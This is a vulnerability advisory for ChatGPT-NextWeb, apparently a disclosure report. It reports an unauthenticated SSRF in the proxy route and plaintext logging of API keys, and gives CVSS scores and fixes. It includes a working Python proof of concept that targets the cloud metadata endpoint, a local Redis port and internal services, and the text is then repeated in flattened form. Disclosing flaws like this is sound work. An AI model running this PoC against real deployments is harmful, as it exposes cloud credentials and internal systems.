ChatGPT-NextWeb: Unauthenticated SSRF via Proxy Default Branch and Server-Side API Key Logging
Summary
ChatGPT-NextWeb has two confirmed security vulnerabilities in its core proxy and API key management:
-
Unauthenticated SSRF via Proxy Default Branch (P0): The /api/{unknown-provider}/{path} route's default branch calls proxyHandler() without any authentication check. Unlike all other provider handlers (OpenAI, Anthropic, Google, etc.) which require auth(), the proxy handler accepts requests from anyone. The attacker-controlled x-base-url header is directly used to construct the fetch URL, with no URL whitelist, protocol restrictions, or internal IP filtering. Response data is returned to the attacker.
-
Server-Side API Key Logged in Plaintext (P1): server.ts:124-129 logs the complete API key string to stdout on every API key rotation via console.log(). No truncation, masking, or redaction is applied. In cloud deployments (Vercel, AWS, GCP), stdout logs are typically collected with long retention, making this a high-value information leak.
Affected Versions
- ChatGPT-NextWeb (all versions with proxy functionality)
app/api/proxy.ts:21-37 (SSRF)
app/config/server.ts:124-129 (Key leak)
CVSS v4.0
#1 Unauthenticated SSRF: 8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:N/SA:N
#2 Server-Side API Key Logging: 6.4 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Details
Vulnerability 1: Unauthenticated SSRF
File: app/api/proxy.ts:21-37
// default branch - NO auth() check
const handler = async (req: Request) => {
try {
return await proxyHandler(req, { params });
} catch (error) {
res.status = 502;
return;
}
};
Contrast: All known providers call auth() before processing:
case "openai": return auth(req, ModelProvider.OpenAI);
case "anthropic": return auth(req, ModelProvider.Anthropic);
// ... every other provider has auth()
Attack Chain:
- Attacker sends
GET /api/evil/anything HTTP/1.1 with header x-base-url: http://169.254.169.254/latest/meta-data/
- Server hits default branch →
proxyHandler() → fetches target URL
- Response (cloud metadata, internal service data) is returned to attacker
Vulnerability 2: Server-Side API Key Logging
File: app/config/server.ts:124-129
console.log(
`[Server Config] using ${randomIndex + 1} of ${apiKeys.length} api key - ${apiKey}`,
);
The apiKey variable contains the full API key string with no masking.
PoC
import requests
TARGET = "https://nextchat.example.com"
# SSRF - access cloud metadata
headers = {"x-base-url": "http://169.254.169.254/latest/meta-data/"}
resp = requests.get(f"{TARGET}/api/evil/anything", headers=headers)
print(resp.text[:500])
# SSRF - internal service scan
headers = {"x-base-url": "http://127.0.0.1:6379/status"}
resp = requests.get(f"{TARGET}/api/internal-api/health", headers=headers)
print(resp.text[:500])
# SSRF - full request/response proxy
headers = {"x-base-url": "http://internal-app:8080/api/users", "Content-Type": "application/json"}
resp = requests.post(f"{TARGET}/api/proxy/users", headers=headers, json={"name": "admin"}, timeout=10)
print(resp.text[:500])
Remediation
- SSRF: Add
auth() check to the default branch, or add a global middleware that validates authentication for unknown providers.
- API Key Logging: Replace
console.log(apiKey) with console.log(apiKey.slice(0, 8) + "***") to prevent full key exposure.
References
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-532: Exposure of System Information to Unauthorized Actors
Discoverer
IcySun & Yashon
icysun@qq.com
CVE Request
We request CVE assignment for both vulnerabilities.
ChatGPT-NextWeb: Unauthenticated SSRF via Proxy Default Branch and Server-Side API Key Logging
Summary
ChatGPT-NextWeb has two confirmed security vulnerabilities in its core proxy and API key management:
Unauthenticated SSRF via Proxy Default Branch (P0): The
/api/{unknown-provider}/{path}route'sdefaultbranch callsproxyHandler()without any authentication check. Unlike all other provider handlers (OpenAI, Anthropic, Google, etc.) which requireauth(), the proxy handler accepts requests from anyone. The attacker-controlledx-base-urlheader is directly used to construct the fetch URL, with no URL whitelist, protocol restrictions, or internal IP filtering. Response data is returned to the attacker.Server-Side API Key Logged in Plaintext (P1):
server.ts:124-129logs the complete API key string to stdout on every API key rotation viaconsole.log(). No truncation, masking, or redaction is applied. In cloud deployments (Vercel, AWS, GCP), stdout logs are typically collected with long retention, making this a high-value information leak.Affected Versions
app/api/proxy.ts:21-37(SSRF)app/config/server.ts:124-129(Key leak)CVSS v4.0
#1 Unauthenticated SSRF: 8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:N/SA:N#2 Server-Side API Key Logging: 6.4 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NDetails
Vulnerability 1: Unauthenticated SSRF
File:
app/api/proxy.ts:21-37Contrast: All known providers call
auth()before processing:Attack Chain:
GET /api/evil/anything HTTP/1.1with headerx-base-url: http://169.254.169.254/latest/meta-data/proxyHandler()→ fetches target URLVulnerability 2: Server-Side API Key Logging
File:
app/config/server.ts:124-129The
apiKeyvariable contains the full API key string with no masking.PoC
Remediation
auth()check to the default branch, or add a global middleware that validates authentication for unknown providers.console.log(apiKey)withconsole.log(apiKey.slice(0, 8) + "***")to prevent full key exposure.References
Discoverer
IcySun & Yashon
icysun@qq.com
CVE Request
We request CVE assignment for both vulnerabilities.